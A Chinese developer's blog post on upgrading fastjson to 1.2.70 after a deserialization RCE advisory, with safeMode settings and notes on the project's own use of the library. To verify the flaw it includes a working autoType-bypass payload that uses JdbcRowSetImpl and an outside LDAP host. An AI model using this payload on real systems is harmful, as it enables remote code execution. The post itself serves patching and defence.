[toc]
文章来源: 临窗旋墨的博客
FastJson
升级到 1.2.70
说明
author
: Vic.xu
Date
: 20200601
近日,阿里云应急响应中心监测到fastjson爆发新的反序列化远程代码执行漏洞,黑客利用漏洞,可绕过autoType限制,直接远程执行任意命令攻击服务器,风险极大。
fastjson采用黑白名单的方法来防御反序列化漏洞,导致当黑客不断发掘新的反序列化Gadgets类时,在autoType关闭的情况下仍然可能可以绕过黑白名单防御机制,造成远程命令执行漏洞。经研究,该漏洞利用门槛较低,可绕过autoType限制,风险影响较大。阿里云应急响应中心提醒fastjson用户尽快采取安全措施阻止漏洞攻击。
升级到最新版本1.2.69或者更新的1.2.70版本。
fastjson
在1.2.68及之后的版本中引入了 safeMode
,配置 safeMode
后,无论白名单和黑名单,都不支持 autoType
,可一定程度上缓解反序列化Gadgets类变种攻击(关闭 autoType
注意评估对业务的影响)
在代码中配置
ParserConfig.getGlobalInstance().setSafeMode(true)
;
加上 JVM
启动参数
-Dfastjson.parser.safeMode=true
通过 fastjson.properties
文件配置。
fastjson.parser.safeMode=true
多个版本的Fastjson组件在反序列化不可信数据时会导致代码执行。究其原因,首先,Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。
在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过,绕过细节可参考( www.anquanke.com/post/id/181…
基于工银当前使用的版本1.2.46
验证 autoType
的默认值: 结果默认为false, 符合官网说明的" fastjson
在1.2.2+版本默认便不再开启 autoType
选项"
ParserConfig config = ParserConfig.getGlobalInstance(); boolean autoTypeSupport = config.isAutoTypeSupport(); System.out.println(autoTypeSupport);//false 复制代码
正常情况下的 autoType
为false时,未绕过的测试代码
Model model = new Model(); model.setId(1); model.setName("vic"); //获得的结果为{"@type":"pers.vic.test.json.fastjson.Model","id":1,"name":"vic"} String json = JSON.toJSONString(model, SerializerFeature.WriteClassName); System.out.println(json); //反序列换报错:autoType is not support. pers.vic.test.json.fastjson.Model JSON.parse(json); 复制代码
验证绕过黑名单和 autotype
的检查流程
准备可绕过检测的字符串
private static String str = "{/"name/":{/"@type/":/"java.lang.Class/",/"val/":/"com.sun.rowset.JdbcRowSetImpl/"},/"x/":{/"@type/":/"com.sun.rowset.JdbcRowSetImpl/",/"dataSourceName/":/"ldap://a.631c122b.n0p.co/",/"autoCommit/":true}}"; 复制代码
执行字符串的反序列化
JSONObject obj = JSON.parseObject(str); 复制代码
........set property error, autoCommit ........JdbcRowSet (连接) JNDI 无法连接
说明执行了数据库连接操作,以及执行了 setAutoCommit
; ,证明绕过了 autotype
的禁用;
绕过的原理,参考https://www.anquanke.com/post/id/181874;大概意思为:
json
使用的相关说明 Jackson
MappingJackson2HttpMessageConverter
(也即 Jackson
) @ResponseBody
注解返回响应体的内容时把对象转为是json字符串(序列化);这一点在本项目中大量使用,绝大多数ajax请求都是都经过此json序列化;
2. 通过 @RequestBody
注解,接收前端的json字符串,并把json字符串序列化程对象, 在本项目中使用频率极低(通过搜索只发现一处) fastjson
在本项目中的使用 只搜索反序列化,因为序列化不存在安全问题
JSON.parse
在本项目中搜索到的结果为19 处 JSONObject.parse
在本项目中搜索到的结果为2处 fastjson
的缘由 本人的猜测:
由于本项目中orm框架使用的是hibernate, 存在延迟加载的情况(即很多时候查询出来的是代理对象)
数据库实体和model的公用,造成在实体上加了很多的 jackson
序列化相关的注解(如忽略属性的序列化);
例如:
使用 fastjson
是为了避开 jackson
相关的序列化注解, 达到复用model的目的
fastjson
升级说明 本项目中并不存在使用@type反序列化的需求, 可全面禁用;
版本升级到官网推荐的 1.2.70
版本;
升级后 ,使用上述字符串测试绕过 autoType
时候会报错: autoType is not support. com.sun.rowset.JdbcRowSetImpl
通过配置文件 fastjson.properties
配置 fastjson.parser.safeMode=true
完全禁用 autoType
;
参见官网说明 :
在1.2.68之后的版本,在1.2.68版本中,fastjson增加了safeMode的支持。safeMode打开后,完全禁用autoType。所有的安全修复版本sec10也支持SafeMode配置。
文章来源: 临窗旋墨的博客